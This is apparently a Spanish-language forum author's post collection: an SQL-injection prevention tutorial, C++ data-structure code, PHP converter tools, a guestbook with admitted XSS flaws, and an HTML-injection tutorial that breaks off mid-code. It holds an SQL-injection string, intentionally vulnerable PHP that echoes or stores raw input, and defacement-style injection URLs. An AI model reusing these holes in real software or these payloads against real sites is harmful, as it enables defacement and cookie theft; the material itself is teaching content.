// escape parameters after the database connection is open because it asks the database how to escape things
$escaped_int_col mysql_real_escape_string($_GET['int_col']);
$escaped_string_col mysql_real_escape_string($_GET['string_col']);
$query "SELECT secret_data FROM mytable WHERE string_col = '{$escaped_string_col}' AND int_col = {$escaped_int_col} AND user_id={$user_id}";
$result mysql_query($query);
$row mysql_fetch_assoc($result);
 
?>


So what's happening here? Consider our previous example where the attacker was sending a malicious string.

    some_data' OR 1=1 --

now becomes

    some_data\' OR 1=1 --

See the subtle difference? The "\" character makes it so that the quote in the string is now harmless, and instead of closing the value prematurely it will just be a part of the string. This is just one of the many bad characters mysql_real_escape_string() will fix for you.

Using Prepared Statements to Stop Injection Attacks

We've stopped the injection attack! Hurray! But what if there were an easier, better way to do all this? The good news is, there is! PHP comes with another database library to deal with MySQL. It is called PHP Data Objects or PDO for short. This library can use drivers for many different database types, and supports a very important feature known as prepared statements, sometimes also known as parametrized queries.

So what do these prepared statements do? Well, quite a lot. They allow us to design our query ahead of time and to put placeholders in the areas where our user supplied data will go. Then when we ask the library to inject the values, it automatically escapes them for us. Consider this example:
Código (php) [Seleccionar]

<?php
 
// do some validation first!
if (filter_var($_GET['int_col'], FILTER_VALIDATE_INT) === false) {
  die(
'You must enter a valid integer!');
}
 
$dsn 'mysql:dbname=my_database;host=myserver.com';
$username 'username';
$password 'password';
$user_id 1;
 
// Set up PDO
$pdo = new PDO($dsn$username$password);
// Our parametrized query using placeholders.  No need for quotes around values, it will do this for us.
$query "SELECT secret_data FROM mytable WHERE string_col = ? AND int_col = ? AND user_id = ?";
// our input values in order for the place holders.  No need to escape, it will do it for us!
$parameters = array($_GET['string_col'], $_GET['int_col'], $user_id);
// Prepare the query
$statement $pdo->prepare($query);
// execute the query with our parameters
$statement->execute($parameters);
// Get the first returned row
$row $statement->fetch(PDO::FETCH_ASSOC);
 
?>


Not only is this method much cleaner, but we can't forget to escape our parameters because PDO is kind enough to do it for us.

Another advantage of prepared statements is that you can use the prepared statement over and over by simply replacing the parameters and executing it again. Many servers detect that you're doing this, and even make the query faster by performing server-side optimizations.

Fuente/Source: http://wiki.hashphp.org/Validation
#6
Buenas!

Resulta que he estado estudiando en la universidad las estructuras de datos en C++, y me gustaría compartirles algunos códigos que he estado haciendo en este tiempo, son códigos más que nada de la escuela. He buscado información al respecto en internet, y la mayoria (por no decir todos) están hechos en C (los que he visto en español), utilizan estructuras con struct y no objetos en C++, así que sirve que alimentamos el internet y el foro  ;D .

No les voy a mostrar teoría sobre el tema, eso se los dejo a su búsqueda.

listas.h
Código (cpp) [Seleccionar]

#include <iostream>

using namespace std;

#ifndef __LISTAS_H_INCLUDED__
#define __LISTAS_H_INCLUDED__

class Nodo{

private:
   int dato;
   Nodo *sig;
   Nodo *ant;
public:
   Nodo(void) { sig = ant = NULL; }

   Nodo( int x , Nodo* s = NULL , Nodo* a = NULL )
   {
       dato = x;
       sig = s;
       ant = a;
   }

   // SETTERS
   void setDato(int x) { dato = x; }
   void setAnt(Nodo *a) { ant = a; }
   void setSig(Nodo *s) { sig = s; }

   // GETTERS
   int getDato()  { return dato;}
   Nodo *getAnt() { return ant; }
   Nodo *getSig() { return sig; }

};

class Lista
{
private:
   Nodo *lista; // ancla
public:
   Lista(void) { Inicializar(); } // CONSTRUCTOR

   // METODOS BASICOS

   Nodo *Primero() { return lista; }
   Nodo *Siguiente(Nodo *pos) { return pos->getSig(); }
   Nodo *Anterior(Nodo *pos) { return pos->getAnt(); }

   Nodo *Ultimo() {
       Nodo *aux = lista;

       if ( !Vacia() ) { while ( aux->getSig() ) { aux = aux->getSig(); } }
       return aux;
   }

   // METODOS DE LA LISTA
   void Inicializar() { lista = NULL; }
   bool Vacia() { return lista==NULL; }
   void Mostrar();
   void Insertar(int x, Nodo* pos = NULL);
};


void Lista::Insertar(int x, Nodo* pos)
{
   Nodo* aux;
Nodo* temp_n = new Nodo(x);

if ( Vacia() ){
lista = temp_n;

}else{
if ( pos == Primero() ){
aux = Primero();
aux->setAnt(temp_n);

temp_n->setSig(aux);
lista = temp_n;

}else if ( pos == NULL ){

aux = Ultimo();
aux->setSig(temp_n);
temp_n->setAnt(aux);

}else{
aux = Primero();

while ( aux ){
if ( aux == pos ){
Anterior(aux)->setSig( temp_n );

temp_n->setAnt( Anterior(aux) );
temp_n->setSig( aux );

aux->setAnt( temp_n );

}else {
   aux = aux->getSig();
               }
}
}
}
}

void Lista::Mostrar()
{
   Nodo* aux;

   Primero();
   aux = lista;
if ( !Vacia() ){
while ( aux ){
           cout << aux ->getDato();
           cout << "\n";
           aux = aux ->getSig();
}
}
}

#endif



main.cpp
Código (cpp) [Seleccionar]

#include <iostream>
#include "listas.h"

using namespace std;

int main(void)
{
   Lista numeros; // Mi lista
   char opc; // Opcion del menu
   int n; // dato a insertar

   do{
       cout << "\n \n  LISTAS DOBLEMENTE LIGADAS: ";
       cout << "\n *- MENU -* ";
       cout << "\n 1. AGREGAR A LA LISTA . ";
       cout << "\n 2. MOSTRAR LOS DATOS . ";
       cout << "\n 3. SALIR . ";
       cout << "\n         _> ";
       cin >> opc;

       switch(opc){
       case '1':
           cout << "\n AGREGANDO DATOS A LA LISTA . ";
           cout << "\n INGRESE EL VALOR NUMERICO . ";
           cout << "\n         _> ";
           cin >> n;
           numeros.Insertar(n);
           cout << " --> < Guardado correctamente > " << endl;
           break;
       case '2':
           if(numeros.Vacia())
           {
               cout << "\n < No hay registros!. > ";
               break;
           }

           cout << "\n \n DATOS GUARDADOS EN LA LISTA: \n ";
           numeros.Mostrar();
           break;
       case '3':
           cout << " - < Saliendo!...... >" << endl;
           break;
       default:
           cout << " - < Opcion incorrecta!, intente de nuevo. >" << endl;
           break;

       }

   }while(opc!='3');

   cin.ignore();
   return 0;
}



Espero que les sea de utilidad, y son bienvenidas sus criticas y/o comentarios  8)
Zalu2!




Buenas!

Hace poco cree un tema sobre un en C++, pues quería compartirles otro código que no lo hice para la escuela y por lo tanto me dió más tiempo de currarmelo más y agregarle más métodos  ;D .

Código (cpp) [Seleccionar]

#include <iostream>
using namespace std;

#define ASCENDENTE 1
#define DESCENDENTE 0

class nodo
{
private:
    int valor;
    nodo *siguiente;
    nodo *anterior;

    friend class lista;

public:
    nodo(int v, nodo *sig = NULL, nodo *ant = NULL) // CONSTRUCTOR
    {
        valor = v;
        siguiente = sig;
        anterior = ant;
    }
    // SETTERS
    void setAnterior(nodo *ant) { anterior = ant; }
    void setSiguiente(nodo *sig) { siguiente = sig; }

    // GETTERS
    int getValor() { return valor; }
    nodo *getSiguiente() { return siguiente; }
    nodo *getAnterior() { return anterior; }
};


class lista
{
private:
    nodo  *plista; // ANCLA

public:
    lista(){ plista = NULL; } // CONSTRUCTOR

    ~lista(); // DESTRUCTOR

    // METODOS DE LA LISTA
    void Insertar(int v);
    void Borrar(int v);
    bool ListaVacia() { return plista == NULL; }
    void Mostrar(int);

    // METODOS DE POSICION
    void Siguiente() { if(plista) plista = plista->getSiguiente(); }
    void Anterior() { if(plista) plista = plista->getAnterior(); }
    void Primero() {  while(plista && plista->getAnterior()) plista = plista->getAnterior(); }
    void Ultimo() {  while(plista && plista->getSiguiente()) plista = plista->getSiguiente(); }
    int ValorActual() { return plista->valor; }

};

lista::~lista() // VACIAMOS LA LISTA
{
   nodo *aux;

   Primero();
   while(plista) {
      aux = plista;
      plista = plista->getSiguiente();
      delete aux;
   }
}

void lista::Insertar(int v)
{
    nodo *nuevo;

    Primero();
    // Si la lista está vacía
    if(ListaVacia() || plista->getValor() > v)
    {
      nuevo = new nodo(v, plista);
      if(!plista) plista = nuevo;
      else plista->setAnterior(nuevo);
    }
    else
    {
      while(plista->getSiguiente() && plista->getSiguiente()->getValor() <= v) Siguiente();
      // Creamos un nuevo nodo después del nodo actual
      nuevo = new nodo(v, plista->getSiguiente(), plista);
      plista->setSiguiente(nuevo);
      if(nuevo->getSiguiente()) nuevo->getSiguiente()->setAnterior(nuevo);
    }
}

void lista::Borrar(int v)
{
   nodo *nodo;

   nodo = plista;
   while(nodo && nodo->getValor() < v) nodo = nodo->getSiguiente();
   while(nodo && nodo->getValor() > v) nodo = nodo->getAnterior();

   if(!nodo || nodo->getValor() != v) return;
   // Borrar el nodo

   if(nodo->getAnterior()) // no es el primer elemento
      nodo->getAnterior()->setSiguiente(nodo->getSiguiente());
   if(nodo->getSiguiente()) // no el el último nodo
      nodo->getSiguiente()->setAnterior(nodo->getAnterior());
   delete nodo;
}

void lista::Mostrar(int orden)
{
    nodo *nodo;
    if(orden == ASCENDENTE)
    {
        Primero();
        nodo = plista;
        while(nodo)
        {
        cout << nodo->getValor() << "-> ";
        nodo = nodo->getSiguiente();
        }
    }
    else
    {
        Ultimo();
        nodo = plista;
        while(nodo)
        {
            cout << nodo->getValor() << "-> ";
            nodo = nodo->getAnterior();
        }
    }
    cout << endl;
}

int main(void) {
    lista Lista;

    Lista.Insertar(20);
    Lista.Insertar(10);
    Lista.Insertar(40);
    Lista.Insertar(30);

    Lista.Mostrar(ASCENDENTE);
    Lista.Mostrar(DESCENDENTE);

    Lista.Primero();
    cout << "Primero: " << Lista.ValorActual() << endl;

    Lista.Ultimo();
    cout << "Ultimo: " << Lista.ValorActual() << endl;

    Lista.Borrar(10);
    Lista.Borrar(15);
    Lista.Borrar(45);
    Lista.Borrar(40);

    Lista.Mostrar(ASCENDENTE);
    Lista.Mostrar(DESCENDENTE);

    return 0;
}


Espero que les guste y les sirva, cualquier duda y/o comentario me lo hacen saber  ::).

Zalu2!
#7
Buenas!.

Otro tema muy importante en la estructura de datos son el manejo de árboles binarios, les comparto un ejemplo que hice para la escuela del tema, está hecho para un sistema de vuelos, por lo tanto uso la clase Pasajeros , pero ustedes pueden usar el tipo de dato que quieran almacenar en el árbol.

Código (cpp) [Seleccionar]

#include <iostream>

using namespace std;

#include "Pasajero.h"

#ifndef __arbolbinario_H_INCLUDED__
#define __arbolbinario_H_INCLUDED__


class Nodo
{
private:
    Pasajero *dato;
    Nodo *izq; //enlace izquierdo
    Nodo *der; //enlace derecho

public:
    Nodo(Pasajero *info); // CONSTRUCTOR
    ~Nodo(); // DESTRUCTOR

    // METODOS GET
    Pasajero *getPasajero() { return dato;}
    Nodo *getIzq() { return izq;}
    Nodo *getDer() { return der;}

    // METODOS SET
    void setIzq(Nodo *i) { izq = i;}
    void setDer(Nodo *d) { der = d;}

};

Nodo::Nodo(Pasajero *info)
{
    dato = info;
    izq = NULL;
    der = NULL;
}

Nodo::~Nodo()
{ }

class ArbolBinario
{
    private:
        Nodo *raiz;
        Nodo *Insertar(Nodo*,Pasajero*);
        Nodo *Borrar(Nodo*, Pasajero*);
        void preOrden(Nodo*);
        void inOrden(Nodo*);
        void postOrden(Nodo*);
    public:
        ArbolBinario();
        Nodo *getRaiz() { return raiz;} // testing method
        void Crear(Pasajero*);
        void Recorridos(int);
        void Eliminar(int);
        Pasajero *Buscar(string, Nodo*);

        ~ArbolBinario();
};

ArbolBinario::ArbolBinario(){
    raiz = NULL;
}

Nodo* ArbolBinario::Insertar(Nodo *p, Pasajero *q){
    if(p == NULL){
        p = new Nodo(q);
    }
    else{
        string a = p -> getPasajero()-> getApellido(); // Primera letra del apellido que esta en la raiz

        if(q->getApellido()[0] <= a[0])
        {
            p->setIzq( Insertar(p->getIzq(),q) );

        }
        else{
            p->setDer( Insertar(p->getDer(),q) );
        }
    }

    return p;
}

void ArbolBinario::Crear(Pasajero *q)
{
     raiz = Insertar(raiz,q);
}

void ArbolBinario::preOrden(Nodo *p){
    if(p != NULL){
        cout << "\n " << p->getPasajero()->getApellido();
        preOrden(p->getIzq());
        preOrden(p->getDer());
    }
}

void ArbolBinario::inOrden(Nodo *p){
    if(p != NULL){
        inOrden(p->getIzq());
        cout << "\n " << p->getPasajero()->getApellido();
        inOrden(p->getDer());
    }
}

void ArbolBinario::postOrden(Nodo *p){
    if(p != NULL){
        cout << " \n " << p->getPasajero()->getApellido();
        postOrden(p->getIzq());
        postOrden(p->getDer());
    }
}

void ArbolBinario::Recorridos(int tipo){
    switch(tipo){
        case 1:
            preOrden(raiz);
        break;

        case 2:
            inOrden(raiz);
        break;

        case 3:
            postOrden(raiz);
        break;

        default:
            cout << " - Error! opcion invalida!. -" << endl;
  break;
    }
}


Espero que les sea de utilidad!.

Para más información véase -> Árbol binario de búsqueda

Zalu2!
#8
Buenas!.

El método de ordenamiento quicksort es un método muy eficaz a la hora de ordenar datos, les comparto un código que implemente en un proyecto escolar, está basado para ordenar fechas de salida de vuelos, pero ustedes pueden implementarlo para ordenar cualquier otro tipo de dato.

Código (cpp) [Seleccionar]

void QuickSortF( N_Vuelo** arr, int izq, int der ){
int g, h, medio;
N_Vuelo *pivote, *aux;
medio = ( izq + der )/2;
pivote = arr[medio];
g = izq;
h = der;

while( g <= h ){

while ( arr[g]->getDato()->getFS(1) < pivote->getDato()->getFS(1) ) { g++; }
while ( pivote->getDato()->getFS(1) < arr[h]->getDato()->getFS(1) ) { h--; }

if( g <= h ){
aux = arr[g];
arr[g] = arr[h];
arr[h] = aux;
g++;
h--;
}
}

if ( izq < h ) { QuickSortF(arr, izq, h); }
if ( g < der ) { QuickSortF(arr, g, der); }
}


En los condicionales if iría la condición de ordenamiento de el tipo de dato que quieras implementar, cualquier duda y/o comentario hazmelo saber!.

Zalu2
#9
PHP / Conversor de textos By 2Fac3R v4.0
29 Julio 2015, 20:46 PM
Buenas!

He estado dandole vueltas a mis códigos (más que nada para no oxidarme) y creo que se pueden seguir mejorando los códigos, lo comparto con ustedes por si a alguien le es de utilidad.

Código (php) [Seleccionar]


<title> Conversor de textos By 2Fac3R v4.0</title>

<form action="" method="POST">
<select name="convertir">
<option value="bin2hex"> BinToHex </option>
<option value="encode"> Encode </option>
<option value="decode"> Decode </option>
<option value="gzinflate"> gzinflate </option>
<option value="utf-7"> Encode UTF-7</option>
<option value="ASCII"> ASCII </option>
<option value="MD5"> MD5 </option>
<option value="SHA1"> SHA1 </option>
<option value="Base64_encode"> Base64 encode</option>
<option value="Base64_decode"> Base64 decode</option>
<option value="bindec"> Binario To Decimal</option>
<option value="mcrypt">mcrypt</option>
</select>
<input type="text" name="str">
<input type="submit" name="enviado" value="Convertir!">
</form>

<?php
/*
 * Conversor de textos
 * .- Underc0de.org -.
 *     v4.0 2015
 * Autor: 2Fac3R
 * 
 * Gr33tz to:
 * 
 * xt3mp, arcangel_nigth, EddyW, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck, w4rning, Snifer, 
 * arthusu, Kodeinfect, [Q]3rV[0], WilyXem, m3x1c0h4ck, etc, etc...
 * 
 * */


function convertir($a$string){ // a : eleccion, string:texto

switch($a){
case 'bin2hex':
$res bin2hex($string);
break;
case 'encode':
$res urlencode($string);
break;
case 'gzinflate':
$res gzinflate($string);
case 'decode':
$res htmlentities(urldecode($string));
break;
case 'utf-7':
$res mb_convert_encoding($string,'UTF-7');
break;
case 'ASCII':
for($i=0;$i<strlen($string);$i++){
$obt=ord($string[$i]);
$ascii=$obt.',';
}
$res $ascii;
break;
case 'MD5':
$res md5($string);
break;
case 'SHA1':
$res sha1($string);
break;
case 'Base64_encode':
$res base64_encode($string);
break;
case 'Base64_decode':
$res base64_decode($string);
break;
case 'bindec':
$res bindec($string);
break;
case 'mcrypt':
$res crypt($string);
break;
default:
die("Ha habido un error <a href=''> Regresar! </a>");
break;
}
return $res;
}

if(!empty(
$_POST['enviado']) && isset($_POST['str']))
{
echo '<b>Original:</b> '.htmlentities($_POST['str']).' </br></br>';
echo '<textarea rows=4 cols=50>' .convertir($_POST['convertir'],$_POST['str']).'</textarea>';
}

?>




Comentarios, criticas, consejos son bienvenidos.
Zalu2!
#10
Bueno, pues he hecho una segunda version de esta tool, la cual me ha servido en bastantes cosas que he hido haciendo y decido compartirla. La version 1 la pueden encontrar en este misma web/foro.

Código (php) [Seleccionar]
<title> Conversor de string By 2Fac3R v2.0 </title>
<?php
/*
Conversor de string By 2Fac3R v2.0
  http://breaksecurity.blogspot.com/
     */
$string $_POST['str'];
$conv $_POST['convertir'];
function 
res($func){
global $string;
echo "Resultado: <br> <textarea cols='80' rows='5'>".$func."</textarea><br>";
echo "Normal: <b>".htmlentities($string)."</b> <br>";
echo "<a href=''> Regresar! </a>";
}
if(isset(
$string) && !empty($string)){
switch(
$conv){
case 'bin2hex':
res(bin2hex($string));
break;
case 'encode':
res(urlencode($string));
break;
case 'decode':
res(htmlentities(urldecode($string)));
break;
case 'utf-7':
res(mb_convert_encoding($string,'UTF-7'));
break;
case 'ASCII':
echo "Resultado: <br><textarea>";
for($i=0;$i<strlen($string);$i++){
$obt=ord($string[$i]);
$ascii=$obt.',';
echo $ascii;
}
echo "</textarea><br> Normal: <b>".htmlentities($string)."</b><br><a href=''> Regresar! </a>";
break;
case 'MD5':
res(md5($string));
break;
case 'SHA1':
res(sha1($string));
break;
case 'Base64_encode':
res(base64_encode($string));
break;
case 'Base64_decode':
res(base64_decode($string));
break;
case 'bindec':
res(bindec($string));
break;
default:
die("Ha habido un error <a href=''> Regresar! </a>");
break;
}
}else{
if(isset($_POST['send'])){?>

<script>alert("Campo de texto vacio");</script>
<noscript>Campo de texto vacio <br> <font color="RED"> Activa el javascript para una mejor visualizacion </font></noscript>
<?}?>
<!-- Conversor de string By 2Fac3R v2.0 -->
<form action="" method="POST">
<select name="convertir">
<option value="bin2hex"> BinToHex </option>
<option value="encode"> Encode </option>
<option value="decode"> Decode </option>
<option value="utf-7"> Encode UTF-7</option>
<option value="ASCII"> ASCII </option>
<option value="MD5"> MD5 </option>
<option value="SHA1"> SHA1 </option>
<option value="Base64_encode"> Base64 encode</option>
<option value="Base64_decode"> Base64 decode</option>
<option value="bindec"> Binario To Decimal</option>
</select>
<input type="text" name="str">
<input type="submit" name="send" value="Convertir!">
</form>
<?}?>


Espero les sirva, cualquier bug, comentario y/o critica son bienvenidos ;D
Zalu2
#11
Resulta que he estado utilizando esta herramienta que me he codeado, en diversos momentos que la he necesitado, y pues me he dedicado a hacerlo mas util y compartirlo con todos ustedes, asi al mismo tiempo pido ayuda a los programadores por si ven algun tipo de vulnerabilidad que me lo digan ;D porfavor.

El code es:
Código (php) [Seleccionar]

<title> Convertidor By 2Fac3R v1.0 </title>
<?php
/*
http://breaksecurity.blogspot.com/
 Convertidor de textos By 2Fac3R v1.0
     */
$string $_POST['palabra'];
$send $_POST['send'];
$choose $_POST['convertir'];
$res '<br> Normal: <b>'.htmlentities($string).'<b> <br>';
$res .= '<a href="">Regresar</a>';
if(
$choose=='hex'){ 
 echo 
"Resultado:\t0x".bin2hex($string);
 echo 
$res;
}else if(
$choose=='encode'){
echo "Resultado:\t".urlencode($string);
echo $res;
}else if(
$choose=='decode'){
echo "Resultado: \t".htmlentities(urldecode($string));
echo $res;
}else if(
$choose=='utf-7'){
echo "Resultado: \t".htmlentities(mb_convert_encoding($string,'UTF-7'));
echo $res;
}else if(
$choose=='ASCII'){
echo "El ASCII es: <b>";
for($i=0;$i<strlen($string);$i++){
$ascii=ord($string[$i]);
$cambiar=$ascii.',';
echo $cambiar;
}
echo '</b>'.$res;
}else if(
$choose=='MD5'){
echo "Resultado: \t".md5($string);
echo $res;
}else if(
$choose=='SHA1'){
echo "Resultado: \t".sha1($string);
echo $res;
}else if(
$choose=='Base64_encode'){
echo "Resultado: \t".base64_encode($string);
echo $res;
}else if(
$choose=='Base64_decode'){
echo "Resultado: \t".base64_decode($string);
echo $res;
}else if(
$choose=='bindec'){
echo "Resultado: \t".bindec($string);
echo $res;
}else{
?>

<!-- Codded By 2Fac3R -->
<form action="" method="POST">
<select name="convertir">
<option value="hex"> To Hex </option>
<option value="encode"> Encode </option>
<option value="decode"> Decode </option>
<option value="utf-7"> Encode UTF-7</option>
<option value="ASCII"> ASCII </option>
<option value="MD5"> MD5 </option>
<option value="SHA1"> SHA1 </option>
<option value="Base64_encode"> Base64 encode</option>
<option value="Base64_decode"> Base64 decode</option>
<option value="bindec"> Binario To Decimal</option>
</select>
<input type="text" name="palabra">
<input type="submit" name="send" value="Convertir!">
</form>
<?}?>


Espero les sirva de algo, criticas, tips, reportes, etc, son bien recibidos ;D.
Zalu2
#12
PHP / Aumentar 1 a 1 decimales
21 Febrero 2012, 21:55 PM
Hola amigos, en esta ocasion vengo con una pequeña duda que no he podido solucionar. Lo que pasa es que estoy diseñando un sistema de valores de X y Y mediante funciones (matematicas).

Por ejemplo:

CitarX = 1
f(x) = x * 10 = y
Res = Y = 10
Lo que pasa es que con decimales no me funciona, o mas bien, no se como hacerlo, este es mi code:

Código (php) [Seleccionar]
<?php
# Creamos variables...
$valor htmlentities($_POST['valor']);  // Valor de X
$limite = (int)$_POST['res']; // Numero de veces a mostrar resultados
$send $_POST['send']; // Variable del envio
if(isset($send) && !empty($valor)&&($limite)){ // Comprobamos que se hayan ingresado datos
echo '
<table border="1">
<th>X</th><th>Y</th>
'
;
for($i=0;$i<$limite;$i++){ // Creando la tabla...
$func $valor*13// Aqui iria la funcion
echo '<tr><td>'.$valor++.'</td><td>'.$func.'</td></tr>
'
;
}
echo '</table>';
}else{ 
// Sino se han ingresado datos, que muestre el formulario
?>

<form action="" method="POST">
Ingresa el valor de X: <input type="text" name="valor" size="4" maxlength="5" title="Maximo 5 caracteres"> <br>
Cuantos resultados deseas mostrar? <input type="text" name="res" size="5" maxlength="5" title="Maximo 99999 resultados"> <br>
<input type="submit" name="send" value="Test!">
</form>
<?
}
?>


El problema es que cuando por ejemplo pongo 3.3 en el valor de X, la tabla me la muestra 3.3, 4.3, 5.3, etc. Y lo que yo quiero es que me muestre 3.4, 3.5, 3.6, etc o 3.40, 3.50, 3.60, etc.

He buscado por Google y lo que me he encontrado, simplemente es como formatear el resultado, no como aumentar los decimales 1 a 1 o 10 a 10.

Por ejemplo:
Código (php) [Seleccionar]
<?php
$ejemplo 
5.55555555555;
printf("Con 2 decimales %.2f",$ejemplo);
?>

o
Código (php) [Seleccionar]

$ejemplo2 = 5.5;
echo number_format($ejemplo2,2);


etc, etc...

¿Alguien tiene alguna idea?
#13
Hola amigos, resulta que ando en practicas con PHP + MySQL (y un poco de todo) y desde hace tiempo que me ando haciendo un guestbook. Resulta que segun yo, ya lo tenia "seguro" (sabia que no mucho, pero por lo menos sec. basica si) y aun amigo, que ha estado mas adentrado en el mundo del XSS, me ha encontrado bugs muy facilmente, y la verdad que no se como fixearlos.

Este es mi code:

Código (php) [Seleccionar]
<?php
echo "<title> Guestbook FOR TEST</title>";
function 
filtro1($datos){
$datos htmlentities($datos);
return $datos;
}
function 
filtrom($mensaje){
$mensaje strip_tags($mensaje,"<u><a><i><img><b><s>");
return $mensaje;
}
require_once("conexion.php");
$con $select;
$queryd mysql_query("SELECT * FROM guestbook") or die (mysql_error()); 
if(mysql_num_rows($queryd) !=0){
while($data mysql_fetch_array($queryd)){
echo '
<table border="0" cellpadding="3" cellspacing="3">
<td> Usuario: <b>'
.filtro1($data['Nick']).'</b> &nbsp;&nbsp;&nbsp;
Correo: <b>'
.filtro1($data['Email']).'</b> </td><br> 
<tr>
<td> <b>Comentario:</b> <br>'
.filtrom($data['Comentario']).' </tr>
</table> <hr>
'
;
}
}else{
echo "No hay comentarios aun \n";
}
if(isset($_POST['send'])&&($_POST['nombre'])&&($_POST['email'])&&($_POST['comentario'])){
   
    $query mysql_query("INSERT INTO guestbook(Nick,Email,Comentario)
   VALUES ('
$_POST[nombre]','$_POST[email]','$_POST[comentario]')") or die (mysql_error());
header("Location: guestbook.php");
}

?>

<center>
<h2> Agregar un comentario: </h2>
<form action="" method="POST">
 Nombre : <input type="text" maxlength="30" name="nombre"> <br>
 Email : <input type="text" maxlength="40" name="email"> <br>
     Comentario : <br>
     <textarea rows="8" cols="120" maxlength="10000" name="comentario"></textarea>
     <br>
     <font size="2">
     Etiquetas permitidas : &lt;a&gt; &lt;img&gt; &lt;b&gt; &lt;i&gt; &lt;u&gt; &lt;s&gt;
     </font> <br> <b>Maximo 10000 caracteres</b> <br>
<input type="submit" name="send" value="Comentar!">
<input type="reset" value="Borrar!">
</form> </center>


Me ha sacado bugs, ya que al permitir la etiqueta <a> y <img> con un poco de javascript y CSS me ha logrado "XSSear" el guestbook.

Lo que quiero hacer basicamente, es seguir permitiendo ciertas etiquetas, pero poder filtrar todo tipo de ataque.

Alguna idea?
Zalu2
#14
PHP / Error extraño con PHP en linux
26 Noviembre 2011, 00:24 AM
Hola amigos

Hoy vengo con una pregunta y un problema que tengo, veran he hecho bastantes codes de php (de ejemplos y practicas) y al pasarlos a linux me eh encontrado con un problema.

En windows este code me corre perfectamente:

<?php
$jojo 
$_GET['jojo'];
if(isset(
$jojo))
{
 echo 
$jojo;
}else{
 echo 
"demás code";
}
?>


Pero en linux (fedora) me da este error:

CitarNotice: Undefined index: send in /opt/lampp/htdocs/test.php on line 6

He probado a usarlo sin meterlo en otra variable, por ejemplo asi:

<?php
if(isset($_GET['jojo']))
{
 echo  
$_GET['jojo'];
}else{
 echo 
"demás code";
}
?>


Y me funciona perfectamente, realmente veo que es un error algo extraño, supongo que sera cuestion de la configuracion del archivo php.ini, pero tengo "miedo" tocar el fichero sin saber muy bien cual es el problema.
#15
Hola amigos, veran he estado tratando de migrar marcadores que tengo en un .html (los que hayan migrado marcadores me entenderan) y lo tengo pero son el que hize de el chrome de windows, quiero saber como importarlo desde firefox de linux, supongo que se podra pero he buscado en las opciones del navegador pero no encuentro.

Si alguien sabe una forma eficaz o seria mejor que lo haga con el mismo chrome, alguien sabe como? ;D
#16
Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection.

CONOCIMIENTOS BASICOS:

- Saber montar un servidor local de pruebas
- Conocer lo basico de HTML, PHP y MySQL


¿En que consiste el HTMLi?

El fallo consiste en la inyecciòn de codigo HTML en una web, el fallo se da cuando un webmaster pide al usuario que ingrese
algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en
el website del webmaster.


Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario:

Código (php) [Seleccionar]
<html>
<head>
<title> HTMLi Tester By 2Fac3R </title>
<body bgcolor="black" text="green" link="white">
<?php
//Se recibe la llamada por $_GET
$inj $_GET['inj'];
//Sí la variable contiene algo, muestra el contenido
if(isset($inj))
{
echo 
$inj
}else{
//Sino Nos da un link que nos direcciona a donde ponemos la inyeccion (el sitio de el GET por URL)
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>

</body>
</html>

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi
caso lo hago desde localhost asi que queda asi:

http://127.0.0.1/htmli.php

Al ejecutarlo nos aparece la imagen con el link de "inyectar!" que hemos puesto en el "else".

Vamos y nos da un :

http://127.0.0.1/htmli.php?inj=


INYECTANDO CODIGO:


¿Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si
ponemos:

http://127.0.0.1/htmli.php?inj=<h1>2Fac3R

Nos saltaria "2Fac3R" en un encabezado (<h1>), con esto nos damos cuenta que lo que pongamos en la variable "inj" en la URL
($_GET) no lo ejecutaria el navegador...


JUGANDO CON LAS INYECCIONES:

Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas
dependiendo el dominio que tengamos sobre HTML, por ejemplo:


http://127.0.0.1/htmli.php?inj=<b>0wn3dD By 2Fac3R<p>Este es un defacement<br>por HTMLi

http://127.0.0.1/htmli.php?inj=<s>0wn3dD</s> By <h1>2Fac3R</h1>Este es un defacement<br><font color="RED">por HTMLi</font>

http://127.0.0.1/htmli.php?inj=<font size ="10" color="red"><marquee>0wn3DD By 2Fac3R</marquee></font>

Y asi dependiendo de la imaginación de cada quien ;)

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta
ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para
que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o
simplemente que vea nuestra hermosa inyeccion xDD.


GUESTBOOK´S, Y APLICACIONES VULNERABLES:

En muchos sitios encontramos con los famosos "libros de visitas" el cual tiene la finalidad de que el usuario comente sobre
la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar
lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es
como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa
aplicación

Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicación web que no filtre esos datos y
que los muestre despues.


En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas comodo inyectar mediante la URL, ahora veamos un
codigo de ejemplo por POST, el cual funciona por un Formulario:

Código (php) [Seleccionar]
<html>
<head>
<title> HTMLi Tester ($_POST)</title>
<body bgcolor="black" text="green">
<?php
$snd 
$_POST['send'];
$it $_POST['inj'];
if(isset(
$snd))
{
 
//Mostramos en pantalla el contenido que viene del Formulario
 
echo $it;
}else{
echo 
'
<form action="" method="POST">
<input type="text" name="inj">
<input type="submit" name="send" value="Inyectar!">
</form>
'
;
}
?>

</body>
</html>


Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, asi que para
que sea realmente vulnerable y util, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un codigo
de un Guestbook codeado por mi usando HTML, PHP y MySQL, logicamente no contiene la seguridad que deberia:

guestbook.php

Código (php) [Seleccionar]
<?php
$serv 
"localhost";
$user "root";
